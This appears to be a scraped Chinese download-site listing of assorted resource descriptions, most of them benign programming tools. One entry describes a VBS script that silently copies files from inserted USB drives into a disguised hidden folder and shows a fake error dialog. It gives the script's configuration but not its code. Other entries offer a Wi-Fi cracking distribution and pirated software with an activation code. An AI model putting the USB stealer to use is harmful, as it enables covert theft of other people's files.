基于Matlab的SSIM算法实现(源码+注释,直接运行),其中包括输入3维图像运行出错的修改,还有源码中部分参数,格式不正确的修改,直接运行出结果。
PS:网上一些源码说可以直接运行,实则Copy,并没有修改,深受其害,所以今天索性做了个修改完整版供大家分享。
2023/9/28 20:40:42 8KB SSIM Matlab 直接运行 注释
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一、右键单击,选择编辑oStr="txt|jpg|doc"'你要窃取的文件类型,可以自行添加,用“|”隔开oDistPath="C:\\windows\\system\\"'保存路径oFolderName="Task"'保存文件夹名称oType=0'将保存的文件夹进行伪装1为task文件夹,2为recycler文件夹,0为不伪装oOut=1'1复制完毕后退出,0复制完毕后不退出,继续循环二、保存后运行会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox"安装成功"”注释掉。
此时脚本已经在循环监测U盘的插入三、插入U盘U盘插入后,就开始文件的复制。
复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将“Msgbox"Windows错误",64”注释掉四、寻找文件此时,文件已经在目标文件夹中。
我将oType设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。
这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
ww这时就能打开文件夹看到其中的内容。
Copy.log记录的是原文件及复制后的文件。
vbs代码以下是源代码:……
2023/9/25 1:13:45 2KB 自动 复制 U盘 VBS
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ThecompleteVisualBehaviourAuthoringframeworkforUnity,empoweringyoutocreateadvancedAIBehavioursandLogic,includingthreeseparate,fullyfeatured,yetseamlesslyinterchangeablemodulesforyoutochooseandeasilyaddinyourgame:•BehaviourTrees•HierarchicalStateMachines•DialogueTreesNodeCanvasisaproductionreadyframeworkusedbymanyawesomegamesincludingKim,Pamela,Hurtworld,ShroudoftheAvatar,KingdomandGhostofaTale.[GamesShowcase]FeatureHighlights-------------------------------------•Choosetherighttoolforthetaskathand.•DesignreactiveBehaviourTreesandHierarchicalStateMachineswithinanintuitive,designerfriendlyvisualnodeeditor:(FullUndo/Redo,ZoomIn/Out,Multi-selection,Duplication,Copy/Pasting,JSONImport/Export,Groups,Commentsandmore)•Uselocal&globalvariablesofanytype,visuallyorincode,forcreatingreusableandactor-oriented,parametricbehaviours,optionallysavingandloadingthosevariablesbetweengamingsessions.•DataBindvariableswithanycomponentpropertyofanytypedirectly.•SyncvariablesautomaticallyoverthenetworkusingUNET,forcreatingmultiplayergames.•VisuallyDebugbehaviourswithrealtime,colorfulandinformativeruntimedebugging.•LiveEditeverythingwhileinplaymodetoperfectlyunderstandyourdesigngoalsandhowtoachievethem.•UtilizeanyexistingcodedirectlywithadvancedandextremelyfastReflectionTasks,automaticallyintegratingUnity'sand3rdPartyassetAPIs.•WorkwithLists/Arrays,Enums,InterfacesandprettymuchANYVariableTypeyouneedout-of-the-box.•Reacttoworldchangesandtransferdatausingthebuilt-inEventSystem.•ReuseandBindmadebehavioursamonganynumberofdifferentagents.•OrganizeyourdesignsusingBehaviourSub-TreesandSub-StateMachines.•ExtendNodeCanvasFrameworktocreateyourownActions,Conditions,Nodesorevencompletelynewmoduleswiththee
2023/9/12 9:53:06 1.32MB Unity插件 行为树
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5-流程定义和部署首先描述一下要实现的工单。
以请假单为例,提交请假单给所在的项目经理,项目经理审批后,如果大于等于40小时的给人力资源审核,然后给部门经理审核,小于40小时直接部门经理审批,审批完后交由总经理审核。
流程定义jBPM流程模型定义需要用eclipse插件,必须用eclipse,不能用myeclipse插件,否则流程设计器无法使用。
把\jbpm-jpdl-3.2.3\designer\designer\jbpm-gpd-feature\eclipse目录下的两个文件夹(不包括links文件夹)里的内容copy到Eclipse安装目录下对应的目录里。
其中processdefinitio
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C4d安装完启动octane时会提示缺少cudnn64_7.dll文件,可以直接选择DW下载,也可以copy链接用浏览器下载,但是这两种方式下载速度都会很慢(科学上网才能很慢速的下载)。
这里有现成的文件提供给大家使用,点击copy链接旁边的另一个按钮,把文件放入打开的文件夹,硬重启C4d即可
2023/9/4 5:53:19 286.06MB cudnn dll
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CDlinux带minidwep-gtkVmware虚拟机(VmwarePro15),已经Copy到虚拟机硬盘
2023/8/31 7:22:43 202.63MB CDlinux minidwep-gtk
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最近有项目要做一个高性能网络服务器,去网络上搜到到的都是C++版本而且是英文或者简单的DEMO,所以自己动手写了C#的DEMO。
网络上只写接收到的数据,没有说怎么处理缓冲区数据,本DEMO简单的介绍如何处理接收到的数据。
简单易用,希望对大家有用.1、在C#中,不用去面对完成端口的操作系统内核对象,Microsoft已经为我们提供了SocketAsyncEventArgs类,它封装了IOCP的使用。
请参考:http://msdn.microsoft.com/zh-cn/library/system.net.sockets.socketasynceventargs.aspx?cs-save-lang=1&cs-lang=cpp#code-snippet-1。
2、我的SocketAsyncEventArgsPool类使用List对象来存储对客户端来通信的SocketAsyncEventArgs对象,它相当于直接使用内核对象时的IoContext。
我这样设计比用堆栈来实现的好处理是,我可以在SocketAsyncEventArgsPool池中找到任何一个与服务器连接的客户,主动向它发信息。
而用堆栈来实现的话,要主动给客户发信息,则还要设计一个结构来存储已连接上服务器的客户。
3、对每一个客户端不管还发送还是接收,我使用同一个SocketAsyncEventArgs对象,对每一个客户端来说,通信是同步进行的,也就是说服务器高度保证同一个客户连接上要么在投递发送请求,并等待;
或者是在投递接收请求,等待中。
本例只做echo服务器,还未考虑由服务器主动向客户发送信息。
4、SocketAsyncEventArgs的UserToken被直接设定为被接受的客户端Socket。
5、没有使用BufferManager类,因为我在初始化时给每一个SocketAsyncEventArgsPool中的对象分配一个缓冲区,发送时使用Arrary.Copy来进行字符拷贝,不去改变缓冲区的位置,只改变使用的长度,因此在下次投递接收请求时恢复缓冲区长度就可以了!如果要主动给客户发信息的话,可以new一个SocketAsyncEventArgs对象,或者在初始化中建立几个来专门用于主动发送信息,因为这种需求一般是进行信息群发,建立一个对象可以用于很多次信息发送,总体来看,这种花销不大,还减去了字符拷贝和消耗。
6、测试结果:(在我的笔记本上时行的,我的本本是T420I78G内存)100客户100,000(十万次)不间断的发送接收数据(发送和接收之间没有Sleep,就一个一循环,不断的发送与接收)耗时3004.6325秒完成总共10,000,000一千万次访问平均每分完成199,691.6次发送与接收平均每秒完成3,328.2次发送与接收整个运行过程中,内存消耗在开始两三分种后就保持稳定不再增涨。
看了一下对每个客户端的延迟最多不超过2秒。
2023/8/10 0:44:45 64KB C# IOCP TCP 完成端口
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gbase数据在使用ETL连接时需要使用的JDBC驱动包,把该文件COPY到ETL工具下的JDBC文件夹就可以使用。
2023/7/22 4:06:38 794KB gabase jdbc ETL驱动包
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功能:可查看单个或目录下所有apk文件的渠道号、包名、版本号使用:以查看包名、版本号为例1、copy文件version.sh到apk文件所在目录2、查看所有apk包名、版本号执行命令./version.sh查看所有apk文件版本号及versionCode3、查看单个apk文件apk包名、版本号执行命令./version.shapk_a01.apk查看所有apkapk_a01版本号及versionCodeNOTE:如提示找不到aapt,请把aapt添加到环境变量中,aapt目录android-sdk-linux/build-tools下或修改脚本如下红色字体为电脑aapt路径#echopackageandversionNameecho`aaptdxmltree"$f"AndroidManifest.xml|grep-E-n-i"android:value"`done修改后为:#echopackageandversionNameecho`/android-sdk-linux/build-tools/23.0.1/aaptdxmltree"$f"AndroidManifest.xml|grep-E-n-i"android:value"`done
2023/7/22 2:35:33 687B 校验渠道号 apk包名 校验版本号
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WPSoffice2019专业版内附带激活码,直接copy激活码粘帖激活即可使用
2023/7/16 17:42:48 171.74MB WPS
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在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡